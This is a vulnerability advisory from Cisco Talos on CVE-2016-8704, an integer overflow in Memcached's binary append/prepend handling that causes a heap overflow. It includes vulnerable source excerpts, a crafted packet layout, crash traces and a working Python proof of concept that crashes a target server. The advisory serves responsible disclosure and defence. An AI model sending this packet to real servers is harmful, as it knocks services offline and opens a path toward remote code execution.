Talos Vulnerability Report

TALOS-2016-0219

Memcached Server Append/Prepend Remote Code Execution Vulnerability

October 31, 2016
CVE Number

CVE-2016-8704

Summary

An integer overflow in the processbinappend_prepend function which is responsible for processing multiple commands of Memcached binary protocol can be abused to cause heap overflow and lead to remote code execution.

Tested Versions

Memcached 1.4.31

Product URLs

https://memcached.org/

CVSSv3 Score

9.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Details

Memcached is a high performance object caching server intended for speeding up dynamic web applications and is used by some of the most popular Internet websites. It has two versions of the protocol for storing and retrieving arbitrary data, an ASCII based one and a binary one. The binary protocol is optimized for size.

An integer overflow can be triggered by issuing a command that appends or prepends data to an existing key-value pair. Affected commands are: Append (opcode 0x0e), Prepend (opcode 0x0f), AppendQ (0x19), PrependQ (opcode 0x1a) which all call into process_bin_append_prepend function.

While parsing a binary packet, the process ends up in the following switch case in memcached.c:

    case PROTOCOL_BINARY_CMD_APPEND:
    case PROTOCOL_BINARY_CMD_PREPEND:
        if (keylen > 0 && extlen == 0) {
            bin_read_key(c, bin_reading_set_header, 0);
        } else {
            protocol_error = 1;
        }
        break;

If either the append or prepend commands (or their quiet equivalents) are executed, no check is made on the specified value of the body length.

After reading the key, the parser ends up in the following code:

static void processbinappend_prepend(conn *c) {

char *key;
int nkey;
int vlen;               [1]
item *it;

assert(c != NULL);

key = binary_get_key(c);
nkey = c->binary_header.request.keylen; [2]
vlen = c->binary_header.request.bodylen - nkey; [3]

if (settings.verbose > 1) {
    fprintf(stderr, "Value len is %d\n", vlen);
}

if (settings.detail_enabled) {
    stats_prefix_record_set(key, nkey);
}

it = item_alloc(key, nkey, 0, 0, vlen+2); [4]

Notice that at [1] nkey and vlen are signed integers. At [2] keylen, which is unsigned, gets assigned to nkey (signed). At [3], an integer overflow can occur if bodylen is less than nkey both of which come directly from the network and are under direct attacker control. The value of vlen can end up being small and even negative and is later used in item_alloc. Function item_alloc is a wrapper around do_item_alloc which allocates the memory for the item and copies the key:

...
size_t ntotal = item_make_header(nkey + 1, flags, nbytes, suffix, &nsuffix); [1]
...
it = slabs_alloc(ntotal, id, &total_bytes, 0);              [2]

...
memcpy(ITEM_key(it), key, nkey);                        [3]
it->exptime = exptime;
memcpy(ITEM_suffix(it), suffix, (size_t)nsuffix);
it->nsuffix = nsuffix;

At [1], nkey corresponds to the specified key length and nbytes to the previously calculated vlen value. At [2] the total resulting value is used as the size for allocation which ends up being too small to hold the key which leads to a heap buffer overflow at [3]. At the time of the overflow, the contents of nkey and the contents of the memory pointed to by key are under direct control of the attacker.

The following packet has all the conditions necessary to trigger the vulnerability:

MEMCACHED_REQUEST_MAGIC = "\x80"
OPCODE_PREPEND = "\x0f"
key_len = struct.pack("!H",0xfa)
extra_len = "\x00"
data_type = "\x00"
vbucket = "\x00\x00"
body_len = struct.pack("!I",0)
opaque = struct.pack("!I",0)
CAS = struct.pack("!Q",0)
body = "A"*1024

In the above packet, body length is specified to be 0, and key length 0xfa, resulting in an integer overflow which causes too small area of memory to be allocated causing a heap buffer overflow.

The vulnerability can be triggered multiple times, and can be abused to modify internal slab metadata. As such, it can also be abused to cause information leaks required for successful exploitation.

Crash Information

Simply sending the above packet triggers the heap overflow but doesn’t cause a direct crash. In order to observe the issue, the server can be run under valgrind which then results in the following trace:

<37 new auto-negotiating client connection
37: going from conn_new_cmd to conn_waiting
37: going from conn_waiting to conn_read
37: going from conn_read to conn_parse_cmd
37: Client using the binary protocol
<37 Read binary protocol data:
<37    0x80 0x1a 0x00 0xfa
<37    0x00 0x00 0x00 0x00
<37    0x00 0x00 0x00 0x00
<37    0x00 0x00 0x00 0x00
<37    0x00 0x00 0x00 0x00
<37    0x00 0x00 0x00 0x00
37: going from conn_parse_cmd to conn_nread
Value len is -250
36: going from conn_write to conn_new_cmd
36: going from conn_new_cmd to conn_waiting
36: going from conn_waiting to conn_read
36: going from conn_read to conn_closing
<36 connection closed.
==466== Thread 4:
==466== Invalid write of size 4
==466==    at 0x402FCC2: memcpy (in /usr/lib/valgrind/vgpreload_memcheck-x86-linux.so)
==466==    by 0x8059CB9: do_item_alloc (items.c:240)
==466==    by 0x8051589: process_bin_append_prepend (memcached.c:2302)
==466==    by 0x8051589: complete_nread_binary (memcached.c:2425)
==466==    by 0x8051589: complete_nread (memcached.c:2484)
==466==    by 0x80540AE: drive_machine (memcached.c:4656)
==466==    by 0x40686B5: event_base_loop (in /usr/lib/libevent-2.0.so.5.1.9)
==466==    by 0x805B1B8: worker_libevent (thread.c:380)
==466==    by 0x40CB312: start_thread (pthread_create.c:310)
==466==    by 0x41DAF2D: clone (clone.S:122)
==466==  Address 0x459cc48 is 0 bytes after a block of size 1,048,560 alloc'd
==466==    at 0x402B211: malloc (in /usr/lib/valgrind/vgpreload_memcheck-x86-linux.so)
==466==    by 0x8056218: memory_allocate (slabs.c:538)
==466==    by 0x8056218: do_slabs_newslab (slabs.c:233)
==466==    by 0x8056295: do_slabs_alloc (slabs.c:328)
==466==    by 0x8056843: slabs_alloc (slabs.c:584)
==466==    by 0x8059B7D: do_item_alloc (items.c:180)
==466==    by 0x804E515: process_update_command (memcached.c:3403)
==466==    by 0x8052024: process_command (memcached.c:3840)
==466==    by 0x8053AA5: try_read_command (memcached.c:4205)
==466==    by 0x8053AA5: drive_machine (memcached.c:4618)
==466==    by 0x40686B5: event_base_loop (in /usr/lib/libevent-2.0.so.5.1.9)
==466==    by 0x805B1B8: worker_libevent (thread.c:380)
==466==    by 0x40CB312: start_thread (pthread_create.c:310)
==466==    by 0x41DAF2D: clone (clone.S:122)
==466==
==466== Invalid read of size 4
==466==    at 0x804D16E: conn_set_state.isra.3 (memcached.c:794)
==466==    by 0x8050D52: process_bin_update (memcached.c:2278)
==466==    by 0x8050D52: complete_nread_binary (memcached.c:2427)
==466==    by 0x8050D52: complete_nread (memcached.c:2484)
==466==    by 0x80540AE: drive_machine (memcached.c:4656)
==466==    by 0x40686B5: event_base_loop (in /usr/lib/libevent-2.0.so.5.1.9)
==466==    by 0x805B1B8: worker_libevent (thread.c:380)
==466==    by 0x40CB312: start_thread (pthread_create.c:310)
==466==    by 0x41DAF2D: clone (clone.S:122)
==466==  Address 0xafba654 is not stack'd, malloc'd or (recently) free'd

A complete server crash can be achieved by simply corrupting an existing item and then trying to retrieve it as demonstrated by the attached proof of concept. In that case, the process crashes in the following manner:

<30 new auto-negotiating client connection
30: going from conn_new_cmd to conn_waiting
30: going from conn_waiting to conn_read
30: going from conn_read to conn_parse_cmd
30: Client using the ascii protocol
<30 set testkey 0 60 4
30: going from conn_parse_cmd to conn_nread
> NOT FOUND testkey
>30 STORED
30: going from conn_nread to conn_write
30: going from conn_write to conn_new_cmd
30: going from conn_new_cmd to conn_waiting
30: going from conn_waiting to conn_read
30: going from conn_read to conn_closing
<30 connection closed.
<30 new auto-negotiating client connection
30: going from conn_new_cmd to conn_waiting
30: going from conn_waiting to conn_read
30: going from conn_read to conn_parse_cmd
30: Client using the binary protocol
<30 Read binary protocol data:
<30    0x80 0x1a 0x00 0xfa
<30    0x00 0x00 0x00 0x00
<30    0x00 0x00 0x00 0x00
<30    0x00 0x00 0x00 0x00
<30    0x00 0x00 0x00 0x00
<30    0x00 0x00 0x00 0x00
30: going from conn_parse_cmd to conn_nread
Value len is -250
Invalid rlbytes to read: len -250
30: going from conn_nread to conn_closing
<30 connection closed.
<30 new auto-negotiating client connection
30: going from conn_new_cmd to conn_waiting
30: going from conn_waiting to conn_read
30: going from conn_read to conn_parse_cmd
30: Client using the ascii protocol
<30 get testkey

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0xb6d3db40 (LWP 530)]
[----------------------------------registers-----------------------------------]
EAX: 0x41 ('A')
EBX: 0x8001ce00 --> 0x1ccf8
ECX: 0x10
EDX: 0xb7d40008 --> 0x0
ESI: 0x41414141 ('AAAA')
EDI: 0xb5423b04 ("testkey")
EBP: 0x7
ESP: 0xb6d3d060 --> 0x0
EIP: 0x80011af7 (<assoc_find+103>:  movzx  eax,BYTE PTR [esi+0x1d])
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80011af0 <assoc_find+96>:  mov    esi,DWORD PTR [esi+0x8]
   0x80011af3 <assoc_find+99>:  test   esi,esi
   0x80011af5 <assoc_find+101>: je     0x80011b22 <assoc_find+146>
=> 0x80011af7 <assoc_find+103>: movzx  eax,BYTE PTR [esi+0x1d]
   0x80011afb <assoc_find+107>: cmp    eax,ebp
   0x80011afd <assoc_find+109>: jne    0x80011af0 <assoc_find+96>
   0x80011aff <assoc_find+111>: movzx  eax,BYTE PTR [esi+0x1b]
   0x80011b03 <assoc_find+115>: mov    DWORD PTR [esp+0x8],ebp
[------------------------------------stack-------------------------------------]
0000| 0xb6d3d060 --> 0x0
0004| 0xb6d3d064 --> 0x0
0008| 0xb6d3d068 --> 0x0
0012| 0xb6d3d06c --> 0x0
0016| 0xb6d3d070 --> 0x0
0020| 0xb6d3d074 --> 0x0
0024| 0xb6d3d078 --> 0x80011a99 (<assoc_find+9>:    add    ebx,0xb367)
0028| 0xb6d3d07c --> 0x8001ce00 --> 0x1ccf8
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x80011af7 in assoc_find ()
gdb-peda$

Exploit Proof-of-Concept (optional)

import struct
import socket
import sys

MEMCACHED_REQUEST_MAGIC = "\x80"
OPCODE_PREPEND_Q = "\x1a"
key_len = struct.pack("!H",0xfa)
extra_len = "\x00"
data_type = "\x00"
vbucket = "\x00\x00"
body_len = struct.pack("!I",0)
opaque = struct.pack("!I",0)
CAS = struct.pack("!Q",0)
body = "A"*1024

if len(sys.argv) != 3:
        print "./poc_crash.py <server> <port>"

packet = MEMCACHED_REQUEST_MAGIC + OPCODE_PREPEND_Q + key_len + extra_len
packet += data_type + vbucket + body_len + opaque + CAS
packet += body

set_packet = "set testkey 0 60 4\r\ntest\r\n"
get_packet = "get testkey\r\n"

s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s1.connect((sys.argv[1],int(sys.argv[2])))
s1.sendall(set_packet)
print s1.recv(1024)
s1.close()


s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2.connect((sys.argv[1],int(sys.argv[2])))
s2.sendall(packet)
print s2.recv(1024)
s2.close()

s3 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s3.connect((sys.argv[1],int(sys.argv[2])))
s3.sendall(get_packet)
s3.recv(1024)
s3.close()

Timeline

2016-10—10 - Vendor Disclosure
2016-10-12 - Patch Fixed
2016-10-31 - Public Release

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.